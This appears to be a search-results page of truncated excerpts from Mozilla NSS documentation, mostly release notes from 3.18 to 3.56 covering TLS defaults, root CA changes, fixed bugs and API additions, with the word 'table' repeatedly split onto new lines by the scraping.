table changes in nss 3.18.1 the following ca certificate had the websites and code signing trust bits restored to their original state to allow more time to develop a better transition strategy for affected sites. the websites and code signing trust bits were turned off in nss 3.18. but when firefox 38 went into beta, there was a huge spike in the number of certificate verification errors attributed...
NSS 3.18 release notes
l exported nss symbols that have a leading underscore '_'. applications that use or depend on these symbols can and will break in future nss releases. new types in p12.h sec_pkcs12nicknamerenamecallback - a function pointer definition. an application that uses sec_pkcs12decoderrenamecertnicknames must implement a callback function that implements this function interface. no
table changes in nss 3.18 the highest tls protocol version enabled by default has been increased from tls 1.0 to tls 1.2. similarly, the highest dtls protocol version enabled by default has been increased from dtls 1.0 to dtls 1.2. the default key size used by certutil when creating an rsa key pair has been increased from 1024 bits to 2048 bits. on mac os x, by default the softokn shared library w...
NSS 3.19.1 release notes
ss_3_19_1_rtm/src/ security fixes in nss 3.19.1 bug 1138554 / cve-2015-4000 - the minimum strength of keys that libssl will accept for finite field algorithms (rsa, diffie-hellman, and dsa) have been increased to 1023 bits. new in nss 3.19.1 new functionality no new functionality is introduced in this release. this patch release includes a fix for the recently published logjam attack. no
table changes in nss 3.19.1 nss reports the bit length of keys more accurately. thus, the seckey_publickeystrength and seckey_publickeystrengthinbits functions could report smaller values for values that have leading zero values. this affects the key strength values that are reported by ssl_getchannelinfo. the minimum size of keys that nss will generate, import, or use has been raised: the m...
NSS 3.19.2 release notes
3.19.1. distribution information the hg tag is nss_3_19_2_rtm. nss 3.19.2 requires nspr 4.10.8 or newer. nss 3.19.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_rtm/src/ new in nss 3.19.2 new functionality no new functionality is introduced in this release. no
table changes in nss 3.19.2 bug 1172128 - in nss 3.19.1, the minimum key sizes that the freebl cryptographic implementation (part of the softoken cryptographic module used by default by nss) was willing to generate or use was increased - for rsa keys, to 512 bits, and for dh keys, 1023 bits. this was done as part of a security fix for bug 1138554 / cve-2015-4000. applications that requested or attem...
NSS 3.19.3 release notes
nss_3_19_3_rtm. nss 3.19.3 requires nspr 4.10.8 or newer. nss 3.19.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_3_rtm/src/ new in nss 3.19.3 no new functionality is introduced in this release. this is a patch release to update the list of root ca certificates. ...
NSS 3.19 release notes
as been added that allows one to lookup imposed constraints. it is possible to override the directory (sqlite_lib_dir) in which the nss build system will look for the sqlite library. new functions in cert.h cert_getimposednameconstraints - check if any imposed constraints exist for the given certificate, and if found, return the constraints as encoded certificate extensions. no
table changes in nss 3.19 the ssl 3 protocol has been disabled by default. nss now more strictly validates tls extensions and will fail a handshake that contains malformed extensions (bug 753136). in tls 1.2 handshakes, nss advertises support for the sha512 hash algorithm in order to be compatible with tls servers that use certificates with a sha512 signature (bug 1155922). bugs fixed in nss 3.1...
NSS 3.20 release notes
use of weak dhe group parameters that are smaller than default minimum size of the library. new types in sslt.h ssldhegrouptype - enumerates the set of dhe parameters embedded in nss that can be used with function ssl_dhegroupprefset new macros in ssl.h ssl_enable_server_dhe - a socket option user to enable or disable dhe ciphersuites for a server socket no
table changes in nss 3.20 the tls library has been extended to support dhe ciphersuites in server applications. for backward compatibility reasons, the server side implementation of the tls library keeps all dhe ciphersuites disabled by default. they can be enabled with the new socket option ssl_enable_server_dhe and the ssl_optionset or the ssl_optionsetdefault api. the server side implementation...
NSS 3.21 release notes
s extended master secret extension (rfc 7627) ssl_preinfo_version - used with sslpreliminarychannelinfo to indicate that a tls version has been selected ssl_preinfo_cipher_suite - used with sslpreliminarychannelinfo to indicate that a tls cipher suite has been selected ssl_preinfo_all - used with sslpreliminarychannelinfo to indicate that all preliminary information has been set no
table changes in nss 3.21 nss now builds with elliptic curve ciphers enabled by default (bug 1205688) nss now builds with warnings as errors (bug 1182667) the following ca certificates were removed cn = verisign class 4 public primary certification authority - g3 sha1 fingerprint: c8:ec:8c:87:92:69:cb:4b:ab:39:e9:8d:7e:57:67:f3:14:95:73:9d cn = utn-userfirst-network app...
NSS 3.22.2 release notes
2 new functionality no new functionality is introduced in this release. security fixes in nss 3.22.2 bug 1245528 / cve-2016-1950 - fixed a heap-based buffer overflow related to the parsing of certain asn.1 structures. an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user. no
table changes in nss 3.22.2 bug 1247990 - the root ca changes from nss 3.23 have been backported. acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the issue in bug 1245528. compatibility nss 3.22.2 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x share...
NSS 3.22 release notes
set the nss_disable_gtests variable to 1 to disable building these tests. bugs fixed in nss 3.22 this bugzilla query returns all the bugs fixed in nss 3.22: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.22 compatibi...
NSS 3.23 release notes
ode is not ready for production use. new functions in ssl.h ssl_setdowngradecheckversion - set maximum version for new serverrandom anti-downgrade mechanism. clients that perform a version downgrade (which is a dangerous practice) call this with the highest version number that they possibly support. this gives them access to the version downgrade protection from tls 1.3. no
table changes in nss 3.23 the copy of sqlite shipped with nss has been updated to version 3.10.2 (bug 1234698) the list of tls extensions sent in the tls handshake has been reordered to increase compatibility of the extended master secret with servers (bug 1243641) the build time environment variable nss_enable_zlib has been renamed to nss_ssl_enable_zlib (bug 1243872). the build time environme...
NSS 3.25.1 release notes
ource distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_25_1_rtm/src/ new in nss 3.25.1 new functionality no new functionality is introduced in this release. this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25. no
table changes in nss 3.25.1 md5 signature algorithms sent by the server in certificaterequest messages are now properly ignored. previously, with rare server configurations, an md5 signature algorithm might have been selected for client authentication and caused the client to abort the connection soon after. bugs fixed in nss 3.25.1 the following bug has been fixed in nss 3.25.1: ignore md5 signat...
NSS 3.26.2 release notes
rce distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_26_2_rtm/src/ new in nss 3.26.2 new functionality no new functionality is introduced in this release. this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1. no
table changes in nss 3.26.2 md5 signature algorithms sent by the server in certificaterequest messages are now properly ignored. previously, with rare server configurations, an md5 signature algorithm might have been selected for client authentication and caused the client to abort the connection soon after. bugs fixed in nss 3.26.2 the following bug has been fixed in nss 3.26.2: ignore md5 signat...
NSS 3.27.1 release notes
27.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_1_rtm/src/ new in nss 3.27.1 new functionality no new functionality is introduced in this release. this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27. no
table changes in nss 3.27.1 availability of the tls 1.3 (draft) implementation has been re-disabled in the default build. previous versions of nss made tls 1.3 (draft) available only when compiled with nss_enable_tls_1_3. nss 3.27 set this value on by default, allowing tls 1.3 (draft) to be disabled using nss_disable_tls_1_3, although the maximum version used by default remained tls 1.2. however, so...
NSS 3.27.2 Release Notes
r 4.13 or newer. nss 3.27.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_2_rtm/src/ new in nss 3.27.2 new functionality no new functionality is introduced in this release. this is a patch release to address a memory leak in the ssl_settrustanchors() function. no
table changes in nss 3.27.2 the ssl_settrustanchors() function is used to set the distinguished names that an nss server includes in its tls certificaterequest message. if this function is not used, nss will include the distinguished names for all trust anchors installed in the database. this can be a lengthy list. previous versions of nss leaked the memory used to store distinguished names when ss...
NSS 3.28.1 release notes
available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_1_rtm/src/ new in nss 3.28.1 no new functionality is introduced in this release. this is a patch release to update the list of root ca certificates, and address a minor tls compatibility issue, that some applications experienced with nss 3.28. ...
NSS 3.28.3 release notes
introduction network security services (nss) 3.28.3 is a patch release for nss 3.28. the bug fixes in nss 3.28.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_28_3_rtm. nss 3.28.3 requires netscape por
table runtime (nspr) 4.13.1 or newer. nss 3.28.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_28_3_rtm/src/ new in nss 3.28.3 new functionality no new functionality is introduced in this release. this is a patch release to fix binary compatibility issues. bugs fixed in nss 3.28.3 nss version 3.28, 3.28.1 and 3.28.2 contained changes that were in violation with the nss compatibility promise. ecparams, which is part of th...
NSS 3.28.5 release notes
distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_5_rtm/src/ new in nss 3.28.5 no new functionality is introduced in this release. this is a patch release to update the list of root ca certificates. it backports the changes that were initially released in nss version 3.30.2. ...
NSS 3.29.1 release notes
introduction network security services (nss) 3.29.1 is a patch release for nss 3.29. the bug fixes in nss 3.29.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_29_1_rtm. nss 3.29.1 requires netscape por
table runtime (nspr) 4.13.1 or newer. nss 3.29.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_1_rtm/src/ new in nss 3.29.1 new functionality no new functionality is introduced in this release. this is a patch release to fix binary compatibility issues. bugs fixed in nss 3.29.1 nss version 3.28, 3.28.1, 3.28.2 and 3.29 contained changes that were in violation with the nss compatibility promise. ecparams, which is part...
NSS 3.29.2 release notes
introduction network security services (nss) 3.29.2 is a patch release for nss 3.29. the bug fixes in nss 3.29.2 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_29_2_rtm. nss 3.29.2 requires netscape por
table runtime (nspr) 4.13.1 or newer. nss 3.29.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_2_rtm/src/ new in nss 3.29.2 new functionality no new functionality is introduced in this release. bugs fixed in nss 3.29.2 nss 3.29 and 3.29.1 included a change that reduced the time that nss considered a tls session ticket to be valid. this release restores the session ticket lifetime to the intended value. see bug 1340841 ...
NSS 3.29.3 release notes
"bugs fixed" section below. distribution information the hg tag is nss_3_29_3_rtm. nss 3.29.3 requires nspr 4.13.1 or newer. nss 3.29.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_3_rtm/src/ new in nss 3.29.3 no new functionality is introduced in this release. no
table changes in nss 3.29.3 a rare crash when initializing an ssl socket fails has been fixed. bugs fixed in nss 3.29.3 bug 1342358 - crash in tls13_destroykeyshares compatibility nss 3.29.3 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.29.3 shared libraries without recompiling or relin...
NSS 3.29 release notes
introduction the network security services (nss) team has released nss 3.29, which is a minor release. distribution information the hg tag is nss_3_29_rtm. nss 3.29 requires netscape por
table runtime (nspr) 4.13.1 or newer. nss 3.29 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_rtm/src/ no
table changes in nss 3.29 fixed a nss 3.28 regression in the signature scheme flexibility that causes connectivity issues between ios 8 clients and nss servers with ecdsa certificates (bug1334114). tls 1.3 is now enabled by default in (bug1311296). bugs fixed in nss 3.29 this bugzilla query returns all the bugs fixed in nss 3.29: https://bugzilla.mozilla.org/bugl...
NSS 3.30.2 release notes
is nss_3_30_2_rtm. nss 3.30.2 requires nspr 4.14 or newer. nss 3.30.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_2_rtm/src/ new in nss 3.30.2 no new functionality is introduced in this release. this is a patch release to update the list of root ca certificates. ...
NSS 3.31.1 release notes
this is a draft document. this notice will be removed when completed. introduction the network security services (nss) team has released nss 3.31.1, which is a patch release for nss 3.31. distribution information the hg tag is nss_3_31_1_rtm. nss 3.31.1 requires netscape por
table runtime (nspr) 4.15, or newer. nss 3.31.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_1_rtm/src/ new in nss 3.31.1 no new functionality is introduced in this release. bugs fixed in nss 3.31.1 bug 1381784 - potential deadlock when using an external pkcs#11 token. compatibility nss 3.31.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.34.1 release notes
introduction the network security services (nss) team has released nss 3.34.1, which is a minor release. distribution information the hg tag is nss_3_34.1_rtm. nss 3.34.1 requires netscape por
table runtime (nspr) 4.17, or newer. nss 3.34.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_1_rtm/src/ no
table changes in nss 3.34.1 the following ca certificate was re-added. it was previously removed in nss 3.34, but now re-added with only the email trust bit set. (bug 1418678) cn = certum ca, o=unizeto sp. z o.o. sha-256 fingerprint: d8:e0:fe:bc:1d:b2:e3:8d:00:94:0f:37:d2:7d:41:34:4d:99:3e:73:4b:99:d5:65:6d:97:78:d4:d8:14:36:24 ...
NSS 3.36.1 release notes
on the hg tag is nss_3_36_1_rtm. nss 3.36.1 requires nspr 4.19 or newer. nss 3.36.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_1_rtm/src/ new in nss 3.xx new functionality no new functionality is introduced in this release. this is a patch release to fix regression bugs. no
table changes in nss 3.36.1 in nss version 3.35 the iteration count in optimized builds, which is used for password based encryption algorithm related to encrypted pkcs#7 or pkcs#12 data, was increased to one million iterations. that change had caused an interoperability regression with operating systems that are limited to 600 k iterations. nss 3.36.1 has been changed to use the same 600 k limit. ...
NSS 3.36 release notes
ease. distribution information the hg tag is nss_3_36_rtm. nss 3.36 requires nspr 4.19 or newer. nss 3.36 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_rtm/src/ (make a link) new in nss 3.36 new functionality experimental apis for tls session cache handling. no
table changes in nss 3.36 replaced existing vectorized chacha20 code with verified hacl* implementation. bugs fixed in nss 3.36 this bugzilla query returns all the bugs fixed in nss 3.36: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36 compatibility nss 3.36 shared libraries are backward compatible with...
NSS 3.37 release notes
introduction the nss team has released network security services (nss) 3.37, which is a minor release. distribution information the hg tag is nss_3_37_rtm. nss 3.37 requires nspr 4.19 or newer. nss 3.37 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_37_rtm/src/ no
table changes in nss 3.37 the tls 1.3 implementation was updated to draft 28. an issue where nss erroneously accepted hrr requests was resolved. this issue was found by oss fuzz. added hacl* poly1305 32-bit the code to support the npn protocol, which had already been disabled in a previous release, has been fully removed. nss allows servers now to register alpn handling callbac...
NSS 3.38 release notes
l -o to print the chain for a given certificate nickname, the new parameter --simple-self-signed may be provided, which can avoid ambiguous output in some scenarios. new functions in secitem.h secitem_makeitem - allocate and make an item with the requested contents new macros in ssl.h ssl_record_size_limit - used to control the tls record size limit extension no
table changes in nss 3.38 fixed cve-2018-0495 in bug 1464971. various security fixes in the asn.1 code. nss automatically enables caching for sql database storage on linux, if it is located on a network filesystem that's known to benefit from caching. when repeatedly importing the same certificate into an sql database, the existing nickname will be kept. bugs fixed in nss 3.
NSS 3.39 release notes
pkcs#11 uri can be used as an identifier for a pkcs#11 token. new functions in cert.h cert_getcertkeytype - query the key type associated with the given certificate. utilpars.h nssutil_addnssflagtomodulespec - a helper function for modifying the pkcs#11 module configuration. it can be used to add a single flag to the flags= section inside the spec's nss= section. no
table changes in nss 3.39 the tls 1.3 implementation uses the final version number from rfc 8446. previous versions of nss accepted an rsa pkcs#1 v1.5 signature where the digestinfo structure was missing the null parameter. starting with version 3.39, nss requires the encoding to contain the null parameter. the tstclnt and selfserv test utilities no longer accept the -z parameter, as support for...
NSS 3.40 release notes
20 or newer. nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_rtm/src/ new in nss 3.40 new functionality the draft-00 version of encrypted sni support is implemented tstclnt now takes -n option to specify encrypted sni key new functions none no
table changes in nss 3.40 the mozilla::pkix library has been ported from mozilla psm to nss. this is a c++ library for building certification paths. mozilla::pkix apis are not exposed in the libraries nss builds. it is easier to build nss on windows in mozilla-build environments. the following ca certificates were removed: cn = visa ecommerce root sha-256 fingerprint: 69fac9bd55fb0ac78...
NSS 3.41 release notes
/src/ new in nss 3.41 new functionality bug 1252891 - implemented eku handling for ipsec ike. bug 1423043 - enable half-closed states for tls. ...
NSS 3.42 release notes
. nss 3.42 requires nspr 4.20 or newer. nss 3.42 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_rtm/src/ other releases are available in nss releases. ...
NSS 3.43 release notes
h_gethashoidtagbyhashtype - convert type hash_hashtype to type secoidtag in sslexp.h ssl_sendcertificaterequest - allow server to request post-handshake client authentication. to use this both peers need to enable the ssl_enable_post_handshake_auth option. ...
NSS 3.44 release notes
44 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_rtm/src/ other releases are available in nss releases. new in nss 3.44 new functionality new functions in lib/certdb/cert.h cert_getcertificateder - access the der-encoded form of a certcertificate. no
table changes in nss 3.44 it is now possible to build nss as a static library (bug 1543545) initial support for building for ios. bugs fixed in nss 3.44 1501542 - implement checkarmsupport for android 1531244 - use __builtin_bswap64 in crypto_primitives.h 1533216 - cert_decodecertpackage() crash with netscape certificate sequences 1533616 - sdb_getattributevaluenolock should make at most on...
NSS 3.45 release notes
functions in pk11pub.h: pk11_findrawcertswithsubject - finds all certificates on the given slot with the given subject distinguished name and returns them as der bytes. if no such certificates can be found, returns secsuccess and sets *results to null. if a failure is encountered while fetching any of the matching certificates, secfailure is returned and *results will be null. no
table changes in nss 3.45 bug 1540403 - implement delegated credentials (draft-ietf-tls-subcerts) this adds a new experimental function: ssl_delegatecredential note: in 3.45, selfserv does not yet support delegated credentials. see bug 1548360. note: in 3.45 the sslchannelinfo is left unmodified, while an upcoming change in 3.46 will set sslchannelinfo.authkeybits to that of the delegat...
NSS 3.46 release notes
ps download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_46_rtm/src/ other releases are available in nss releases. new in nss 3.46 this release contains no significant new functionality, but concentrates on providing improved performance, stability, and security. of particular note are significant improvements to aes-gcm performance on arm. ...
NSS 3.48 release notes
craig disselkoen giulio benetti lauri kasanen tom prince distribution information the hg tag is nss_3_48_rtm. nss 3.48 requires nspr 4.24 or newer. nss 3.48 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_48_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.48 tls 1.3 is the default maximum tls version. see bug 1573118 for details. tls extended master secret is enabled by default, where possible. see bug 1575411 for details. the master password pbe now uses 10,000 iterations by default when using the default sql (key4.db) storage. because using an iteration count higher than 1 with the legacy dbm (key3.db) storage creates fil...
NSS 3.49 release notes
uld like to recognize first-time contributors: alex henrie distribution information the hg tag is nss_3_49_rtm. nss 3.49 requires nspr 4.24 or newer. nss 3.49 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_49_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.49 the legacy dbm database, libnssdbm, is no longer built by default when using gyp builds. see bug 1594933 for details. bugs fixed in nss 3.49 bug 1513586 - set downgrade sentinel for client tls versions lower than 1.2. bug 1606025 - remove -wmaybe-uninitialized warning in sslsnce.c bug 1606119 - fix ppc hw crypto build failure bug 1605545 - memory leak in pk11install...
NSS 3.50 release notes
vices (nss) 3.50 on 7 february 2020, which is a minor release. distribution information the hg tag is nss_3_50_rtm. nss 3.50 requires nspr 4.25 or newer. nss 3.50 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_50_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.50 verified primitives from hacl* were updated, bringing performance improvements for several platforms. note that intel processors with sse4 but without avx are currently unable to use the improved chacha20/poly1305 due to a build issue; such platforms will fall-back to less optimized algorithms. see bug 1609569 for details. updated dtls 1.3 implementation to draf...
NSS 3.51.1 release notes
ing on functional bug fixes and low-risk patches only. distribution information the hg tag is nss_3_51_1_rtm. nss 3.51.1 requires nspr 4.25 or newer. nss 3.51.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_51_1_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.51.1 bug 1617968 - update delegated credentials implementation to draft-07. bugs fixed in nss 3.51.1 bug 1619102 - add workaround option to include both dtls and tls versions in dtls supported_versions. bug 1619056 - update readme: tls 1.3 is not experimental anymore. bug 1618739 - don't assert fuzzer behavior in ssl_parsesessionticket. bug 1618915 - fix ubsan issue in...
NSS 3.51 release notes
ize first-time contributors: dmitry baryshkov victor tapia distribution information the hg tag is nss_3_51_rtm. nss 3.51 requires nspr 4.25 or newer. nss 3.51 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_51_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.51 updated dtls 1.3 implementation to draft-34. see bug 1608892 for details. bugs fixed in nss 3.51 bug 1608892 - update dtls 1.3 implementation to draft-34. bug 1611209 - correct swapped pkcs11 values of ckm_aes_cmac and ckm_aes_cmac_general bug 1612259 - complete integration of wycheproof ecdh test cases bug 1614183 - check if ppc __has_include(<sys/auxv.h>) bug 161...
NSS 3.52 release notes
first-time contributors: zhujianwei7 hans petter jansson distribution information the hg tag is nss_3_52_rtm. nss 3.52 requires nspr 4.25 or newer. nss 3.52 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_52_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.52 bug 1603628 - update nss to support pkcs #11 v3.0. note: this change modifies the ck_gcm_params struct to include the ulivbits field which, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition. if an application is recompiled with nss 3.52+, this field must be initialized to a value corresponding to ulivlen. alternatively, defining n...
NSS 3.53 release notes
first-time contributors: jan-marek glogowski jeff walden distribution information the hg tag is nss_3_53_rtm. nss 3.53 requires nspr 4.25 or newer. nss 3.53 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_53_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.53 when using the makefiles, nss can be built in parallel, speeding up those builds to more similar performance as the build.sh/ninja/gyp system. (bug 290526) seed is now moved into a new freebl directory freebl/deprecated (bug 1636389). seed will be disabled by default in a future release of nss. at that time, users will need to set the compile-time flag (bug 1622033) ...
NSS 3.54 release notes
services (nss) 3.54 on 26 june 2020, which is a minor release. distribution information the hg tag is nss_3_54_rtm. nss 3.54 requires nspr 4.26 or newer. nss 3.54 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_54_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.54 support for tls 1.3 external pre-shared keys (bug 1603042). use arm cryptography extension for sha256, when available. (bug 1528113). certificate authority changes the following ca certificates were added: bug 1645186 - certsign root ca g2 sha-256 fingerprint: 657cfe2fa73faa38462571f332a2363a46fce7020951710702cdfbb6eeda3305 bug 1645174 - e...
NSS 3.55 release notes
team would like to recognize first-time contributors: danh distribution information the hg tag is nss_3_55_rtm. nss 3.55 requires nspr 4.27 or newer. nss 3.55 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_55_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.55 p384 and p521 elliptic curve implementations are replaced with verifiable implementations from fiat-crypto and ecckiila. special thanks to the network and information security group (nisec) at tampere university. pk11_findcertinslot is added. with this function, a given slot can be queried with a der-encoded certificate, providing performance and usability improvements ove...
NSS 3.56 release notes
rvices (nss) 3.56 on 21 august 2020, which is a minor release. distribution information the hg tag is nss_3_56_rtm. nss 3.56 requires nspr 4.28 or newer. nss 3.56 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_56_rtm/src/ other releases are available in nss releases. no
table changes in nss 3.56 nspr dependency updated to 4.28. the known issue where makefile builds failed to locate seccomon.h was fixed in bug 1653975. bugs fixed in nss 3.56 bug 1650702 - support sha-1 hw acceleration on armv8 bug 1656981 - use mpi comba and mulq optimizations on x86-64 macos. bug 1654142 - add cpu feature detection for intel sha extension. bug 1648822 - add stricter valida...
NSS Developer Tutorial
uld need to add a new function to provide the desired behavior. similarly, new options often need to be disabled by default. nss review/feature approval process nss doesn’t have 'super reviewers'. we wish to increase the number of nss developers, who have broad understanding of nss. one review is usually enough for the review to pass. for critical code reviews, such as a patch release of a s
table branch, two reviews may be more reasonable. for new features, especially those that appear controversial, try to find a reviewer from a different company or organization than your own, to avoid any perceptions of bias. update nss in mozilla-inbound and mozilla-central the procedure is documented at https://developer.mozilla.org/docs/updating_nspr_or_nss_in_mozilla-central. if it is necessary...
Release notes for recent versions of NSS
(nss 3.56 release notes) the current esr releases of nss are 3.44.4 (nss 3.44.4 release notes), intended for firefox esr 68, which was released on 19 may 2020, and 3.53.1 (nss 3.53.1 release notes), intended for firefox esr 78, which was released on 16 june 2020. ...
NSS sources building testing
ed interfaces. these can be found by looking at the files with the .def file extension, inside the nss/lib directory hierarchy. any c function that isn't contained in .def files is strictly for private use within nss, and applications and test tools are not allowed to call them. for any functions that are listed in the .def files, nss promises that the binary function interface (abi) will remain s
table. building nss nss is built using gyp and ninja, or with make on systems that don't have those tools. the complete build instructions include more information. once the build is done, you can find the build output below directory dist/?, where ? will be a name dynamically derived from your system's architecture. exported header files for nss applications can be found in directory "include", lib...
nss tech note8
s. since nss 1.0, up until nss 3.4, there were two global variables that contained the expected session lifetimes for ssl2 and ssl3 sessions. extern pruint32 ssl_sid_timeout; (the ssl2 session lifetime) extern pruint32 ssl3_sid_timeout; (the ssl3 session lifetime) each of these variables applied to both client and server sessions. that is, the client session lifetime was not separately set
table from the server session lifetime. these two variables were private, declared in a private header file. there was no api function by which client programs could set these values. however since nss was delivered as archive libraries, client programs merely declared these two variables for themselves, and then were able to alter those variables directly. for server programs, the function for initi...
NSS release notes template
s://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_xx_rtm/src/ (make a link) new in nss 3.xx new functionality either: no new functionality is introduced in this release. this is a patch release to fix ... or: ... new functions in ___.h function - description new types in ___.h type - description. new macros in ___.h macro - description no
table changes in nss 3.xx ... bugs fixed in nss 3.xx this bugzilla query returns all the bugs fixed in nss 3.xx: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.xx (make a link) acknowledgements the nss development team would like to thank ... for responsibly disclosing the issue by providing advance copies of t...
Overview of NSS
which developers and oems can contribute patches, such as assembler code, to optimize performance on their platforms. nss 3.x has been certified on 18 platforms. for more detailed information about nss, see wiki.mozilla.org and nss faq. source code for a java interface to nss is available in the mozilla cvs tree. for details, see network security services for java. nss makes use of netscape por
table runtime (nspr), a platform-neutral open-source api for system functions designed to facilitate cross-platform development. like nss, nspr has been battle-tested in multiple products. for more information, see the nspr project page. interoperability and open standards you can use nss to support a range of security standards in your application, including the following: ssl v3. the secure sock...
NSS PKCS11 Functions
word length for this token. flags a comma separated list of flag values, parsed case-insensitive. valid flags are: readonly - databases should be opened read only. nocertdb - don't try to open a certificate database. nokeydb - don't try to open a key database. forceopen - don't fail to initialize the token if thedatabases could not be opened. passwordrequired - zero length passwords are not accep
table(valid only if there is a keydb). optimizespace - allocate smaller hash
tables and lock
tables.when this flag is not specified, softoken will allocatelarge
tables to prevent lock contention. for more info on module strings see pkcs11_module_specs. this function will return a reference to a slot. the caller is responsible for freeing the slot reference when it is through. freeing the slot referenc...
Migration to HG
because of the changes described above, we have decided to use a new series of (minor) version numbers. the first releases using the new code layout will be nspr 4.10 and nss 3.15 ...
Sample manual installation
nclude a target to install header files and shared libraries in the system directories, so this needs to be done manually. after building nss with "gmake nss_build_all", the resulting build can be found in the nss source tree as follows: nss header files: mozilla/dist/public/nss nspr header files: mozilla/dist/<obj-dir>/include nspr/nss shared libs: mozilla/dist/<obj-dir>/lib nss binary execu
tables: mozilla/dist/<obj-dir>/bin. where <obj-dir> would vary according to the type of build and the platform. for example, <obj-dir> for a debug build of nss on the x86 platform with a linux kernel version 2.6 with glibc would be: linux2.6_x86_glibc_pth_dbg.obj from these directories, you can copy the files to any system (or other) directory. if the destination directories are not what's standard fo...
FC_Initialize
